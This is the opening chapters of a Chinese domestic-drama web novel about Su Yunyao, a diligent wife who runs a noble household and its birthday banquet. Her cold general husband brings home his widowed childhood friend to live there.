《他的贤妻》
1. 第1章
未到五更时分,外面还是黑蒙蒙的一片,青杏迷迷瞪瞪醒来,揉了揉惺忪睡眼向里间看去。
不知何时,卧房已亮起了灯,四周静谧无声,一抹纤细的身影映在窗户上。
昨晚半夜方歇下,不到三个时辰,大奶奶已起床了。
平日里,大奶奶打理府内府外大小事务,一向勤勤恳恳,早起晚睡,近日老夫人七十岁的寿辰快到了,她比平时还要操劳。
想起昨晚大奶奶只吃了几口粥,青杏一骨碌从榻上爬起来,轻轻推开里间的门。
悠亮灯烛下,苏云瑶披了件厚实的披风坐在书案前,正在翻阅着手里的账册。
昨晚有笔银子忘了记在她的私账上,一早醒来,她便赶紧下榻打开了账册。
提笔在账本上记下五百两的进项,她才放心地舒了口气。
“大奶奶,您饿不饿?”
听见青杏的声音,苏云瑶抬眸看了眼外面的天色。
天色微亮,再过一刻钟就该去点卯派事,昨晚她吩咐厨娘在小厨房炖了一碗燕窝,这会儿端来吃正好。
府里的琐事再多再忙,她也不会亏欠了自己的嘴。
她伸了个懒腰,笑道:“去把燕窝端来吧。”
没过多久,青杏端来燕窝的时候,苏云瑶已洗漱完毕,也换好了衣裳。
青杏下意识打量了几眼主子,即使在紫薇院服侍了两年,每次见到大奶奶,她心中还是不由暗暗惊叹。
大奶奶年轻,今年才十九岁,容貌身段生得无可挑剔,即便只薄施脂粉,轻挽乌发,也让人难以挪开眼去。
安静地用完燕窝粥,天色还有些暗,待苏云瑶打算出门时,青杏已拿来了灯笼。
那灯笼已点亮了,以往,都是由她打着灯笼,主仆两人一起去锦绣院的,谁料,这回苏云瑶却从从她手里接走了灯笼。
“你叫醒青桔,和她一起去一趟瑞香铺,让刘掌柜把银子支出来,支了银子马上回来,交到库房,今日就要用。”
说话时,苏云瑶秀眉微微蹙起,心疼地抿了抿唇。
老太太的千秋,少不了要花二千两银子,如今府中账上银子只有一千八百两,怕是不够,她不得不添补点。
青杏点了点头,那瑞香铺她去过几回,刘掌柜认识她,不过青桔贪睡,这个时辰还没起来,隔着房门还能听到她呼呼大睡的鼾声,青杏去厢房把她从床上揪了起来。
一刻钟后,晨光熹微,两人坐了府里的马车去了瑞香铺,苏云瑶另带了她院里的一个丫鬟青枝,也到了锦绣院南边的小花厅。
这花厅是府里管事们一早点卯应事的地方,七月初六是老夫人的千秋,今日是初三,因前来贺寿的人多,从初四开始便要排上宴席,一直要持续三日,先前大奶奶叮嘱过各位要上心,寿宴之后还会另有赏赐,所以众人无不抖擞了精神。
按照请帖发放的日子,初四那天先是东宫、景王府、公候伯府等来贺,初五是裴府儿孙媳妇的娘家人来,初六则是阖府小辈与下人给老夫人磕头摆席祝寿。
明日是初四,也是裴府接待皇亲王侯及朝内高官的日子,半点马虎不得。
苏云瑶安排下去,明日男客在吉祥堂用宴,女眷们则在如意苑,管事们分别领了差事,冯妈妈专管吉祥堂与如意苑宴席时的桌椅屏风,牛妈妈是大厨房的管事,一应茶水席面,都有她负责。
一时两人应下,冯妈妈带了丫鬟小厮去库房搬屏风,牛妈妈因席面上有几样大菜要买,苏云瑶批了她写的票据,牛妈妈便急忙领了对牌去账房支银子。
京中贵人喜爱香料,宴席时也要燃香,府里的王妈妈原是管花草的,对香料略懂些,苏云瑶便让青叶去紫薇院取了几样香粉交于她,细细教给她如何使用,一个多时辰后,诸事基本处理完毕,苏云瑶起身去往锦绣院。
进了正房,里间传来几声轻咳,婆母罗氏已起床了。
罗氏身边有伺候的丫鬟,也有梳头娘子,洗漱梳发不需要儿媳伺候,不过,她身子不好,有胃疼的老毛病,清晨起来要吃一碗养胃的花蜜乳。
丫鬟端来牛乳时,苏云瑶便洗净了手接过来,在牛乳里搁上一勺花蜜,拿调羹轻轻搅拌着,直到那橙色花蜜与雪白的牛乳融合在一起,温度也不热不凉刚好入口时,才停了下来。
屋里点着浓郁的檀香,罗氏坐在厅内的圈椅上,慢慢吃着花蜜乳,思忖着女儿的婚事。
因着前两日染了风寒还未痊愈,她还会偶尔咳嗽几声,脸色有些倦怠。
花蜜乳吃完,罗氏想起婆婆寿辰的事,道:“老太太过生,我本打算亲手抄一卷经书给她老人家祈福,可现在上了年纪熬不得夜,经书抄了一半便抄不动了,你的字比你弟弟的好,剩下的,你替我抄了,赶在老太太寿辰之前送去。”
闻言,青枝把脸扭向一旁,在无人看见的地方忿忿不平地撇了撇嘴。
裴老爷的发妻难产早逝,只留下了大爷裴秉安,罗夫人是裴老爷的续弦,生了三爷裴宝绍和小姐裴淑娴,罗夫人疼爱三爷和小姐,抄经书的事,不舍得三爷和小姐劳累一点儿,偏偏指使大奶奶,也不关心大奶奶这几日忙得脚不沾地。
既是这样说了,苏云瑶也没有推辞,微笑着应下,老太太寿辰的事,她还打算跟婆母讨主意。
虽说今日各管事都安排好了差事,但她是第一回主持这样的寿宴大事,怕有什么疏错之处,待将事情一一向婆母说了,罗氏听完,将盏里的花蜜乳搁到桌案上,半阖着眼帘,唇角莫名噙了一丝冷笑。
她今年四十多岁,年纪并不老,穿着件香色褙子,不失雍容端庄,只是颧骨高耸,嘴角向两边耷拉着,不笑的时候,显得分外不易亲近。
“这事情你安排得无不妥当,但有一件,你别光顾着宴席,忘了自家的事。我问你,前几日你三弟要支一千两银子买东西,你怎么还没支给他?老太太大寿,做小辈的都要送份寿礼,你三弟在读书,又没做官,又没俸禄,他支走银子,是为了给祖母买寿礼,这是他一片孝心。”
苏云瑶面上带着恭敬的笑意,心里却暗暗腹诽。
身为府中长孙媳,打理府里中馈,她掌管着府里的账本。
这账上的进项,来源有二,一是老太爷受赏的田地得来的租子,二是裴秉安的爵俸和月俸,阖府上下的月银发放,人情往来,老太太的寿宴,都是从这些账上出银子,因今年田地减产,裴秉安的爵俸月俸捐出去了大半,府内又添丁进口,账上银子捉襟见肘,这回寿宴又是一大笔花费,一时周转不开,她还得想法子支来自己铺子里的银子应对呢。
三弟如今在国子监读书,花钱如流水,每个月总是打着各种名号支走一笔银子,府里账上银子不宽裕,婆母都知道,却从不关心,若她不给三弟银子,反倒埋怨她这个媳妇小气。
她也不是个小气的,几十上百两,她也不心疼。
可要支走一千两银子,不好意思,不管三弟是不是真心买寿礼,她都不能给。
苏云瑶乌黑的眼珠转了转,笑道:“母亲,三弟孝心可嘉,这银子实在该花的,明日给老太太祝寿,来贺寿的太太夫人们若是听说三弟这么有孝心,还不知会怎么夸赞三弟呢!”
罗氏一听,脸色突然变了,宝绍还没定亲呢,若是被哪个别有用心的碎嘴子夫人添油加醋传扬出去,说他像个挥金如土的纨绔,那岂不是坏了名声?
“罢了,他是有这份孝心,可也用不着花这么多银子买东西,你别支给他!”
苏云瑶踌躇道:“可是,这样不好吧,三弟若是问起来......”
“他问起来,你也不许给,就说是我说的!”生怕儿媳妇支出去银子,罗氏忙道。
苏云瑶重重点了点头,道:
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“我自然听母亲的话。还有,那经书的事,最是能体现对祖母的孝心,我回头尽快亲手抄完,给母亲送来。”
罗氏却思忖了一瞬,道:“你那么忙,哪有时间抄去?这事你别管了,我自己再看着办吧。”
临出院子时,看到夫人急忙打发丫鬟把经书送去了三少爷的院子,青杏差点捂嘴笑出了声。
到了用早饭的时辰,罗氏身子不好,不去桂香堂侍奉,身为长孙媳,苏云瑶要去老太太跟前尽孝心。
桂香堂与裴府别的院子大有不同,院中没有什么名贵稀罕的花草山石,院子隔壁却有一个宽阔碧绿的菜园子。
老夫人出身乡野,喜欢在地里种菜。
当年裴老太爷从军,先是得苏节度使器重,之后一路追随先帝左右,立下不少军功,后来新朝建立,裴老太爷授官留京,先帝赐封了裴府这座大宅院,老夫人便带着儿女住进了京都。
虽是住在这高门大院已有四十多年,老夫人的习惯却没改过。
清早起来,在院里的大菜园子中溜达一圈,浇浇菜,松松土,摘上些瓜菜,让厨房拌一大盘酱胡瓜,炒一碟咸鸡子,煮几碗咸菜粥,做早饭。
桂香堂摆好早饭后,崔如月带着三岁的大儿子与不满一岁的小儿子,到堂内陪老夫人用饭。
今天她穿了一身银红绫罗,显得精明强干,她的两个儿子圆滚滚胖乎乎的,看上去都十分结实。
看见大嫂,打了个招呼后,扭头看了看自己的两个儿子,崔如月脸上的笑容十分得意。
她的丈夫裴文仲,在府中排行第二,是庶出,她却接连生下了裴府两个重孙。
而她这位大嫂,嫁进来三年,肚子却一点儿动静都没有。
不过,想到老夫人的寿宴,大嫂要出风头,崔如月脸上的得意逐渐消失。
做为裴府二孙媳,她嫁来的早,却没打理过家宅大事,倒是大嫂嫁来的晚,这掌管中馈的事,落到了她的头上。
用饭时,崔如月带着孩子坐在老夫人身旁。
老夫人喜欢孩子,见到两个重孙便喜得眉开眼笑,不过看到坐在旁边的苏云瑶,脸上皱纹皱起,眉头拧了起来。
她是裴府长孙媳,家境落魄不说,进府三年还没有怀上孩子,自然让人不满意。
老夫人的脸色不好看,苏云瑶默默别过眼,假装没看见。
这些饭食齁咸,只合老夫人的口味,苏云瑶不爱吃,拿起调羹浅浅舀了口咸粥尝了尝。
用着饭,看到二孙媳吃光了咸菜咸粥,长孙媳几乎没动筷子,老夫人不禁又皱起了眉头。
她这么挑食,怪不得不好生养。
“秉安出去三个月了吧,事情总该办好了,怎么还没回京?”老太太突然道。
裴秉安现任金吾卫上将军,金吾卫负责京城安防,他平时除了处理卫中的军机要务,还担着边境巡防兵备的差事。
这次他已离京三个多月,说是去甘州巡视,还没回来。
他出去办差,回来的日子一向不定,日子短了,十天半个月的,也不必写信。若是日子长了,会差人往府里送封信来,可这回,都三个月了,却一直没收到他的信。
不过,好歹嫁给他三年,日子不短了,苏云瑶多少了解他一些,知道他对长辈最是敬爱孝顺,明日是老夫人的寿宴,就算公务再忙,他今日应该也会尽量赶回府的。
还没等苏云瑶开口,崔如月急忙喝了一大盏茶冲淡满嘴的咸味,抢着说:“祖母,大哥这回办差的地方距京城远,一来一回路上就得半个月,再加上公务,是得要三个多月,不过,您不用担心,大哥肯定快回来了。”
二孙媳这样说,老夫人点头满意地笑了笑。
早饭快要用完时,静思院的丫鬟春桃从外边进来,笑着道:“老太太,将军回来了,让大奶奶先去一趟静思院呢!”
2. 第2章
去静思院的路上,苏云瑶若有所思地拧起了秀眉。
以往,裴秉安回府时,会先去见老夫人和婆母,之后有了空闲才会与她说话。
只有一回例外,那次他回府时先见了她,是因为他办差时左臂受了伤,见她是为了让她包扎伤口。
这次回来,先让她去见他,莫不是有什么要事?
静思院疏朗开阔,面积极大,有五间正房,东西还各有几间厢房。
院中有练武场和靶场,还有待客与处理公事的南书房,除了每月固定几日宿在紫薇院,平时裴秉安都住在这里。
跨进门槛,便看见一个高大的身影。
裴秉安一身墨色窄袖长袍,高大伟岸的身形如青松般挺拔而立,他眉眼冷峻,挺鼻薄唇,不苟言笑的沉冷模样一如往常。
虽是成亲三年了,夫妻相处的日子并不多,三个月没见,差点忘了他什么模样,苏云瑶快速打量了几眼,确定是他本人无疑,便缓步走了过去。
不过,她这位夫君安少时习武,耳力极其敏锐,这次却没有听到她走近的声音,而是一动不动地负手站在那里,不知在出神地沉思什么。
苏云瑶不得不出言打断他的思绪。
“夫君找我有事?”
听到她温柔的声音,裴秉安转眸向她看去。
黑沉如潭的眼眸看不出什么情绪,只是如往常般略点了点头,言简意赅地吩咐道:“我把婉柔接回来了,她身体不好,以后要在府里长住,你安顿她住下吧。”
话音落下,正房绘着山河图的八扇屏风后,施施然走出个二十多岁的女子。
女子从头到脚皆是素白,身上穿着白色裙裳,头上戴了支白木簪,那双秋水似的眸子泛红,一副潸然欲泣的模样。
姑娘看见苏云瑶,暗暗咬了咬唇,躬身朝她拜谢:“麻烦大嫂了。”
苏云瑶微微一笑,朝她点了点头,而后又看向裴秉安,眼神中有几分不解,对方称呼她大嫂,不知她到底是什么身份。
不过裴秉安脸色仍冷冷清清的,似乎并不打算对她解释什么,只是在那姑娘刚刚俯身施礼时,他便霍然大步走近了,抬手虚虚拦住她,道:“婉柔,不必见外,也不必多礼。”
他们看上去很相熟,显然是旧相识,苏云瑶按捺下满腹疑问,微笑得体地同宋姑娘打了个招呼,继而温声与裴秉安商量道:“夫君,那就让宋姑娘住在丁香院吧,那院子安静,适合养身休息。”
她做事一向细心,此事考虑得却不周到,裴秉安剑眉拧起看了她一眼,道:“不可。那院子在东北角,太偏僻,也太小了,院里还没有小厨房,不便熬药做饭,还是住在月华院吧。你先带人去把院子收拾干净,婉柔身边只有一个丫鬟,你再从紫薇院里拨两个丫鬟过去服侍吧。”
苏云瑶微不可察地挑起秀眉。
月华院是裴秉安的生母陆夫人住的院子,陆夫人早逝后,月华院一直空着。
她听府里老人闲话时提起过,当初继母罗氏入府,生下三弟裴宝绍后,嫌锦绣院太小,跟公爹商量好了要搬到月华院去。
那时裴秉安才不过八九岁,一向是孝顺懂事的,那回却十分执拗,怎么也不肯让继母和弟弟搬进去,气得公爹抽了他整整五十鞭子,他也不肯让步。
自那之后,再也无人敢提住进月华院的事,那院子,便长久得空置了。
如今,他竟主动提出让宋姑娘住在月华院,可见宋姑娘在他心中分量之重。
苏云瑶意外几瞬,却不多嘴再问,只是点了点头,道:“好,我这就去给宋姑娘安排住处。”
月华院虽无人住,却一直有人打扫修缮,这院子开阔却不失精致,山石流水,八角飞亭,还有一池绽放的荷花,清幽的荷香沁人心脾。
苏云瑶吩咐人把院子里里外外重新打扫一遍,糊了碧绿色的新窗纱,又让人取了簇新的锦被、床帐过来。
房里布置好以后,她又去小厨房看了看,小厨房里锅灶都干净如新,不必再换,想到宋姑娘身体不好,她便让人再搬一个烧碳的小炉过来,可以专门用来熬药。
不过,裴秉安要她拨两个丫鬟去服侍宋姑娘,却让她有些为难。
紫薇院有青杏青桔青枝青叶四个丫鬟。
其中,青桔是她陪嫁的丫鬟,自小与她一起长大,力气大,却是笨懒了些,差到别处只会闯祸。
青杏是她的得力助手,处理府里的事务,离不开她这个左膀右臂。
青枝青叶两个是机灵的,只是青枝脾气有些大,容易得罪人,青叶又不爱说话,容易受人欺负,再者,紫薇院平时也少不了她们,她哪个都不舍得拨了去。
可府里每个丫鬟都有自己的差事,事情紧急,一时也不能马上便从府外赁丫鬟来,左思右想,只能暂且将青枝青叶留在月华院伺候。
青枝不想去,咬着唇满脸委屈,说:“那姑娘到底是什么人,让她住在月华院,还让大奶奶的丫鬟去服侍她,将军为什么这么重视她?”
那姑娘是什么来头,苏云瑶也不清楚,不过显而易见,她在裴秉安心中极为重要。
既然是重要人物,于情于理,她也不能怠慢了去。
这样想着,苏云瑶道:“宋姑娘是客人,你们要尽心服侍,再者,只是让你们暂时在月华院服侍一段时日,待过一阵子,我还会把你们调回我身边的。”
青枝只是发发牢骚,苏云瑶的话,她是最听的,如今又得了还让她们回紫薇院的话,她便放了心,唤了青叶过来,两人去正房里铺床叠被,插花燃香。
月华院这边洒扫了一下午,仆妇丫鬟们搬着东西忙来忙去,这番不同寻常的动静,早有人传了出去。
崔如月带着儿子满满过来时,遥遥便看见苏云瑶站在荷花池旁的八角亭里,正指挥两个仆妇将池边的两个石凳搬上来。
“大嫂,满满嚷着要来这里看花,我就过来了,这院子里的荷花开得可真好,住在这院子,可算是享福了。”离得远远的,崔如月笑着道。
这位兴致高昂的弟媳不像是来赏花,倒像是来看热闹的,苏云瑶在亭里坐下,淡淡笑了笑:
“弟妹好兴致。”
走近了,崔如月摆了摆手,让奶娘带着孩子去摘荷花。
她提着裙摆抬步循阶走到亭中,自顾自拿绣帕掸了掸石凳坐下,觑眼不住打量着苏云瑶的神色。
仆妇做完事退下,亭子里安安静静的,苏云瑶背对这边站着,单薄纤细的身影笼罩在熔金似的日光下,沉静温婉一如往常。
瞧不出她到底是什么情绪,崔如月忍耐不住,清清嗓子说:“大嫂,你可真是大度,要是文仲这样,我才不会愿意,我非得跟他闹上一场不可!
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”
她话里有话,苏云瑶不动声色地扬起秀眉,转头瞧着她:“你这是什么意思?”
崔如月故作惊讶地瞪大了眼,一脸不可置信的模样。
“大哥竟然什么都没跟你说?你还被瞒在鼓里呢!”
为了不辜负弟妹的故弄玄虚,苏云瑶略显吃惊地瞪大了眼睛,不安地攥紧了绣帕。
“他到底有什么事瞒着我?”
看到方才还沉静的大嫂,此时虽尽力装作淡定的模样,但那脸色已有些发白,崔如月拿帕子掩住嘴,才遮住幸灾乐祸勾起的嘴角。
“哎呦,大嫂,这么大的事,大哥怎么能瞒你呢,我真是看不过去,实话告诉你吧大嫂,婉柔与大哥可是从小就认识的,当年要不是婉柔被她婶子做主嫁去了甘州,她就嫁给大哥了!”
原来是裴秉安的青梅,有什么值得大惊小怪的?
苏云瑶微微一笑,毫不在意。
若是他们当真情深意重,此情不渝,裴秉安便不会记着祖辈定下的婚约,差人将她接到裴府成婚。
“当年有婚约的是我与你大哥,婉柔妹妹怎么会嫁进来呢?如月,别的不说,这事肯定是你想多了。”
崔如月声情并茂说了半天,原以为大嫂多少会受到刺激,谁知她气定神闲地抛下这句话,便转身走了。
像是一拳打到了棉花上,大嫂似乎根本没受到半分影响,崔如月都准备好了看戏,此时剩下的话却都噎在了嗓子眼里,一口气上不去下来不来,只得一脸挫败地咬了咬牙。
回到静思院时,裴秉安不在,他带着宋姑娘,去拜见老太太了,等了一会儿,还没等到他回来,苏云瑶便先回了紫薇院。
她忙了一下午,还没来得及喝口水,只觉得头脑发晕,浑身乏力,跨进门槛时,眼前突然一黑,幸亏她及时扶住了门框,才没有摔倒。
平素稳重的青杏看见她时,吓得惊叫一声,迎上来搀住她的胳膊,一连声地问:“大奶奶,你怎么了?”
苏云瑶揉了揉发晕的脑袋,道:“我没事,有些头晕,你给我倒盏蜜水来。”
可听到她的话,青杏闷闷应下,声音却带着哭腔。
“大奶奶,你想开点,别难受。”青杏安慰她道。
苏云瑶愣了愣:“我难受什么?”
青杏看到她煞白的脸色,吸了吸鼻子,心里更难过了。
将军带了个姑娘进府,还住进了月华院,一个下午,这事已经在府内悄悄传遍了,她从瑞香铺支了银子回来,刚进府,便听说了这件事。
大奶奶都没住月华院,凭什么宋姑娘如此得将军在意?
难道在将军心里,辛勤持家貌美无双的正妻,还比不上一个久未谋面的外人吗?
苏云瑶忽然好像明白了青杏在为她不平什么。
她想说清楚,她不是难受,她只是不禁饿,一饿就头晕心慌。
喝了几口蜜水,煞白的脸色慢慢变好了一点,苏云瑶清清嗓子对青杏道:“我刚才没有难过......”
青杏抹了抹眼角的泪,道:“大奶奶,你不用哄我了,不管怎么样,在我心中,任何人都越不过你去。”
苏云瑶:“?”
话音刚落,院外突然响起沉稳有力的脚步声。
裴秉安大步流星地迈进紫薇院,朝正房走了过来。
3. 第3章
隔着窗子,苏云瑶早已看到他。
屋里还没点灯,她靠在美人榻上咬着蜜饯,拍了拍青杏:“去把灯点上吧。”
青杏点了灯,便自觉退了出去。
随后肃然沉稳的脚步声转瞬而至,悠亮光影下,男人高大的身影笼罩在身前,苏云瑶吃完糖渍甜梅子,擦了擦唇起身,微笑着跟他打了个招呼:“夫君。”
“婉柔已住进月华院,辛苦你了。”裴秉安沉声道。
苏云瑶道:“夫君不必客气,这是我应该做的。”
裴秉安沉沉嗯了一声。
他去甘州,是为了办差,也是为了接婉柔回来。
只是没有提前知会她一声,现在既然她知道了,也没什么解释的必要。
思忖几息,裴秉安垂眸看了她一眼,沉声道:“宋家伯父伯母去得早,家中只剩婉柔一个,他们对我有恩,曾托付我多照顾婉柔。三年前,她远嫁到了甘州,嫁去之后,丈夫英年早逝,她在婆家受了不少委屈。宋家已没有她可依靠的人,以后,她会长住府中,你就把她当亲妹妹一样照顾。”
苏云瑶:“哦。”
她忽然想起,宋姑娘穿着素白衣裳,原来她还在守丧。
她失去了丈夫,在婆家又受欺负,娘家没有可靠的人,于情于理,裴秉安受她爹娘托付,确实不应该坐视不理。
苏云瑶道:“宋姑娘没有家,这里就是她的家,夫君不必担心,我自然会好好待她的。”
她如此善解人意,裴秉安沉沉看了她一眼,唇角不易察觉地勾起。
“时候不早了,沐浴歇息吧。”
苏云瑶愣了愣,蓦然咬紧了唇。
她怎么忘了,每月初五、初十他要在她这里过夜,今日初五,是他该留宿紫薇院的日子!
这也是他每回不出差时,她每个月最难熬的两天。
夫妻间的义务,难以推脱,苏云瑶闷闷呼出一口气,咬牙去了浴房。
待她梳洗了半个时辰回来后,裴秉安早已沐浴过。
他穿着一身白色寝衣,身板笔挺地坐在床榻边沿,一双大手握拳置于膝上,黑沉的眼眸追随着她进来的身形,沉甸甸的视线似有实质。
“怎么这么久?”
悠亮光线下,苏云瑶一头缎子似的如瀑乌发散乱地垂在肩头,她皮肤雪白无暇,刚泡了热水澡,双颊有淡淡的红晕。
她抿了抿唇,悄悄抬眸看了他一眼。
她抱着侥幸的心理,本想在浴房多磨蹭会儿,希望他等不及她,会先睡下。
可分明白费了功夫。
裴秉安等了许久,沉冷的脸色隐约透露出不快。
他定下每月与她行房两次,不管怎样,都会雷打不动地执行,若是哪次没有行房,之后定然会补上。
等苏云瑶慢慢走近了,他伸出长臂揽住她的腰身,将她带到了床榻上。
床榻一沉,随之床帐也放了下来。
该来的总会来,想到这一晚的折腾,苏云瑶心一横,索性闭紧了眼睛。
一片朦胧不清的晦暗中,男人单手脱下寝衣,伟岸挺拔的身体俯下,如雪后青松般的冷冽气息也越来越近。
腰间一热,带茧的大掌攥住了她的腰身,隔着薄薄的衣料,能感受到他掌心发烫的温度。
苏云瑶默默深吸一口气,突然睁开眼睛道:“等等......”
裴秉安怔了怔,长指重重摩挲着她的腰。
“何事?”
男人暗哑的声音落在耳旁,苏云瑶抬手缓缓覆住他劲挺宽大的手掌,想到前些日子话本上看过的内容,道:“先......先温存一下,再行房。”
裴秉安蹙起眉头,视线落在她的嘴唇上,眼眸暗了暗。
他低头,在她柔软的唇瓣上,蜻蜓点水般碰了几下。
随后像是一柄坚实的利刃出鞘,苏云瑶下意识抓紧了男人劲挺的肩背,猛地咬紧了唇瓣。
过了许久,湿润温热包裹着,适应了利刃,身体也不再那么难受时,一阵持续不知多久的强烈激荡停下,裴秉安停驻片刻,抽身离开。
床帐掀开,悠亮的灯烛照了进来。
一时有些不适应突然变亮的光线,苏云瑶下意识抬手遮住了眼睛。
站在床榻旁,裴秉安沉默着穿上外袍。
不经意侧眸间,看到她头发湿漉漉地贴在耳畔,白皙如瓷的脸庞细汗淋漓,红润的唇破了一块,殷红的一点血迹,已凝涸了。
他的视线停留不到半瞬,便面无表情地移开,道:“我还有事,今晚不住这儿了。明日祖母寿宴,你早些歇息,早些起来,安排好寿宴上的事,万莫出了岔子。”
他说完,便大步离开。
房内寂静无声,苏云瑶深深吸了几口气,咬牙从榻上坐起来,小心翼翼掀开贴身寝衣看了看——腰间白皙的肌肤上,两道红印子赫然闯入眼底。
苏云瑶暗骂了一句。
裴秉安这厮自小习武,身材高大,体魄强悍,手劲大得吓人。
行房时,他的胳膊像铁臂般把她结结实实箍在怀里,实力悬殊,她就像条摆在砧板上的鱼,连挣扎的力气都没有,只能任他为所欲为。
好在这厮十分自律,绝不贪欲,一个月只有两回,忍一忍,也就过去了。
身上出了一层汗,寝衣也湿透了,苏云瑶下榻后,往嘴里塞了颗黑色药丸,重新去沐浴了一番。
回屋后,将自己平时记录琐事账目的札记拿出来,腹诽着写了几笔后,将札记放在妆台下的小抽屉里锁好,便爬到榻上疲乏地睡了过去。
翌日一早,天色未明时,紫薇院又亮起了灯。
因是老夫人的寿辰,这一日有东宫与燕王府及诸侯府来贺,从清早开始,就有客人陆续上门。
苏云瑶坐在点卯的花厅中掌事,将来客送的寿礼逐一登记在册。
府中因大摆寿宴,诸事繁杂,各管事不停地跑来问事。
忽然牛妈妈慌里慌张跑来,说厨房张娘子做大菜时烫到了手,没法再动锅铲,苏云瑶便马上去了厨房,张娘子右胳膊烫红了一片,起了许多透明的水泡,只得紧急让别的厨娘顶上她的差。
接着又有王妈妈匆匆过来,说是那燃香深得夫人们喜欢,问是从哪家铺子买的。
那是苏云瑶平时闲暇时自制的熏香,外面是买不到的,幸亏紫薇院还有一些,她便让人拿来了,放进早已备好的回礼中。
后院一上午忙得不可开交,待客的吉祥堂和如意苑,宴席一直有条不紊地进行着。
苏云瑶从花厅出来,经过阁楼旁边时,一眼便看见那二楼顶上那扇紧闭的菱花小窗被人打开了,小窗后影影绰绰地露出半个身影,瞧着有人在里面。
青杏眼尖,也一下看见了,“大奶奶,那不会是偷东西的小贼吧?”
府里人来人往,就担心有人趁乱偷盗,苏云瑶盯着那影子看了会儿,认出那是裴淑娴,不由拧起了秀眉。
迟疑片刻,决定上楼去看一看。
楼梯咯吱响动,轻轻的脚步声渐近,裴淑娴一惊,急忙命丫鬟关严了窗户。
看到苏云瑶出现在面前,裴淑娴心虚地拿团扇遮着脸,只露出一双眼睛看着她。
“嫂子这么忙,怎么到这里来了?”
苏云瑶微微一笑,悄然转眸向外看去,阁楼的窗户透光,即便关上了,也能看到远处。
这里位置居高临下,吉祥堂中几桌安置在院中用宴的男客一览无余。
男客中,有个身着白衣的年轻男子,生得清隽文雅,一众宾客中,他十分醒目。
这男子苏云瑶见过,名字叫贺清瑜,是名满京都的探花郎,已经成亲。
贺家亦是官宦世家,与裴家多有往来,贺探花与裴淑娴小时候一起长大,算是青梅竹马。
有几回他到裴
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府来,她便瞧见裴淑娴隔着屏风,有些发怔地看着他。
苏云瑶无奈。
裴淑娴今年十五岁,还没定亲,婆母已开始为她寻找合适的人家。
今日老太太寿宴,婆母与南安侯府的侯夫人相谈甚欢。
侯府秦世子满腹才学,年纪轻轻已高中进士,现在刑部任职,前程不可限量,婆母想与秦家结亲,还三番两次让她打发人叫裴淑娴去花厅,让她与侯夫人说话。
可妹妹说自己身子不适,不去花厅也就罢了,还偷偷跑来看贺探花。
苏云瑶不动声色地收回视线,道:“妹妹不是头疼难受吗?不在院里歇着,怎么有心情到这里远眺?”
裴淑娴捏紧了手里的团扇,神色忧郁,目含哀怨。
“嫂子,你不懂我的。”她轻声道,“我难受,但是到这里看一眼清瑜哥哥,我的病,就好了大半。”
苏云瑶不得不提醒她:“贺公子已经成亲了。”
裴淑娴抿唇幽幽一笑:“那又如何?他成了亲,难道我就不能看他了?”
想到妹妹的性子,苏云瑶放缓了声音,耐着性子劝道:“你还没定亲呢,赶明儿找个好夫君,又俊朗,又体贴......”
裴淑娴眼神一凉,黝黑的眼眸盯着苏云瑶,冷笑着打断她的话。
“大嫂,别在我面前提定亲这两个字,不然我就当着你的面,从这阁楼上跳下去!”
苏云瑶:“......”
“西风寒且凉,如我心中愁,”裴淑娴叹了口气,恋恋不舍地看了眼窗户的方向,“嫂子,我有事,先回去了。”
她说完,摇着团扇,提起裙摆,慢慢下了楼,连背影,都透着几分忧愁。
目送妹妹远去,苏云瑶头疼地呼出口闷气。
怕她在宴席上生出什么事来,只得吩咐人去她的院子盯着点。
忙碌了一天,待最后一波宾客离席,清点了宴席用过的物件,将寿礼送与老夫人一一过目了,再分派好明日宴席的事务,苏云瑶才回到了紫薇院。
房内,烛光幽亮,裴秉安负手立在窗前,墨色背影肃然挺拔,似乎已等了她很久。
“怎么回来这么晚?”听到她的脚步声,他转过身来看着她,黑沉的眼眸一如往常,看不出什么情绪。
今日不该是他留宿这里的日子,苏云瑶有些意外他会来,踏进门槛的半只脚警惕地收了回去。
“事情太多了,刚忙完,夫君找我有事?”
闻言,裴秉安略一点头,沉声道:“今天事情繁多,你受累了。”
苏云瑶同意地点了点头。
是受累了,若不是看在他的正妻这个身份好用的份上,她也没这份好心白白替他操持这府里的事。
心里这样想,她却莞尔一笑,善解人意地说:“我嫁给了你,这也是我该做的。”
跨进门槛,她走近了,闻到他衣袍上有股淡淡的酒味。
“夫君衣裳沾了酒?”
裴秉安沉沉点了点头。
他应酬时饮了酒,酒水不小心洒到身上,衣袍还没有换。
散席后他信步到了紫薇院,便想让她给他拿一件衣裳换下。
苏云瑶干巴巴笑了笑。
他极少住在这里,平时也几乎不来,刚成亲时她的衣柜里还有几件他的衣裳,现在一件也没有了。
她装模作样去衣柜里扒拉了几下。
谁知她刚拉开了柜子门,裴秉安便忽然大步走了过来。
悠亮烛火下,他突地攥住了她细白的手腕,沉声道:“云瑶,先替我宽衣吧。”
苏云瑶吃痛得深吸口气。
这厮力气大,抓住人的手腕,像把铁钳子钳住似的。
还没甩开他的手,院外突然响起急促的脚步声。
宋婉柔的丫鬟白莲在外面哭哭啼啼地说:“将军,姑娘心口疼,请您快些去看一看吧。”
4. 第4章
心口疼的病症,可轻可重。
若是轻症,只是胸口一时闷痛。若是十分严重,发作起来可能立时要了人的性命。
话音落下的瞬间,苏云瑶拨开那只攥紧她手腕的大手,道:“夫君,婉柔妹妹生病了,快去看看吧。”
裴秉安神色沉凝地点了点头,转身掀开里间的帘子,大步流星地走了出去。
沉稳的脚步声远去,房内一时安静下来,苏云瑶看了眼半开的柜门,揉揉被攥疼的手腕,将柜门推了回去。
“大奶奶,那宋姑娘昨日不是还好好的,今晚怎么忽然心口疼了?”听见白莲方才的话,也看到了将军从紫薇院离开,青杏急忙从外面走了进来。
苏云瑶靠在美人榻上,沉思着吃了块乳糕。
裴秉安是说过,宋姑娘身体不好,让她住在月华院,也是因为方便她休养。
她会生病,并不让人意外,但她差丫鬟来紫薇院叫裴秉安过去,便值得深思了。
一来,她必定已经差人去过了静思院,没有见到他本人,这才又吩咐白莲来了紫薇院,这期间路上要花费不少时间,她都没有求助旁人,看来她的病情并没那么着急。
二来,既然她的丫鬟已经到了紫薇院,请她这个理事的大奶奶过去更为合适,毕竟,大晚上的,请裴秉安一个外男多有不便,可丫鬟却似乎忘了这点礼数,偏请他过去。
慢条斯理地吃完乳糕,喝了几口茶,苏云瑶伸了个懒腰起身,道:“我也去看看婉柔妹妹吧。”
月华院近挨着静思院,与紫薇院却距离很远。
青杏打着灯笼在前面照路,主仆两个走了半刻多钟,才到了月华院。
